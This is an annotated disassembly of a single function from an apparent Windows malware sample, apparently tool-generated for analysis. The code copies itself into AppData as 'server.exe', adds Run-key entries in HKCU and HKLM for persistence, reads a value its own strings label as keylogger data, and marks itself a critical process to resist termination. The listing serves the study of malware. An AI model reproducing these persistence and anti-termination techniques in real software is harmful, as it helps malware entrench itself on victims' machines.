Function at 0x140001390
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013d1
lea rcx, str.mutex_create_error__n
jmp 0x1400013ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
mov qword [rsp + 0x700], rbx
call fcn.140001320
mov eax, dword [0x14003fb18]
lea rcx, [rbp + 0x1c0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x14003fb1c]
mov r8d, 0x208
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.14000a500
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x208
call fcn.14000a500
xor edx, edx
lea rcx, [rbp + 0x3d0]
mov r8d, 0x208
call fcn.14000a500
mov r8d, 0x104
lea rdx, [rbp + 0x3d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001508
mov r9d, 1
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1c0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x140001508
lea rax, [rsp + 0x40]
mov edx, 0xc8
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x50]
call fcn.140006340
lea rax, [rbp + 0x3d0]
lea r8, [rbp - 0x50]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400014f4
add rax, 2
test ecx, ecx
jne 0x1400014e0
test edx, edx
jne 0x1400015bf
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x50]
movaps xmm1, xmmword [0x14003fc50]
xor edx, edx
movzx eax, word [0x14003fc80]
mov r8d, 0x208
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x14003fc60]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x14003fc70]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x60], ax
call fcn.14000a500
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000171c
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x1400015ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x140001660
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001508
lea rcx, [rbp - 0x50]
call fcn.1400063a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x50]
mov rax, rbx
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400015f4
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x14000165a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x140001660
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400016ac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000171c
lea rax, [rbp - 0x50]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400016b0
mov rcx, qword [rsp + 0x30]
lea eax, [rbx*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001716
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000171c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140006500
call fcn.140003b20
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x200
call fcn.14000a500
lea rax, [rsp + 0x38]
mov dword [rsp + 0x30], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400017c0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, str._kl_
lea rax, [rbp - 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400017c0
cmp dword [rsp + 0x30], 0x200
ja 0x1400017c0
lea rdx, [rbp - 0x50]
lea rcx, str.keylogger_getValue:__s__n
call fcn.1400012c0
call fcn.140006460
call fcn.140006460
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400017f1
lea rcx, str.OpenProcess_error__n
jmp 0x140001859
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000181c
lea rcx, str.GetProcAddress_error__n
jmp 0x140001859
mov r9d, 4
mov dword [rsp + 0x30], 1
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001852
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x14000185e
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov rbx, qword [rsp + 0x700]
mov eax, 1
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400071a0
add rsp, 0x6f0
pop rbp
ret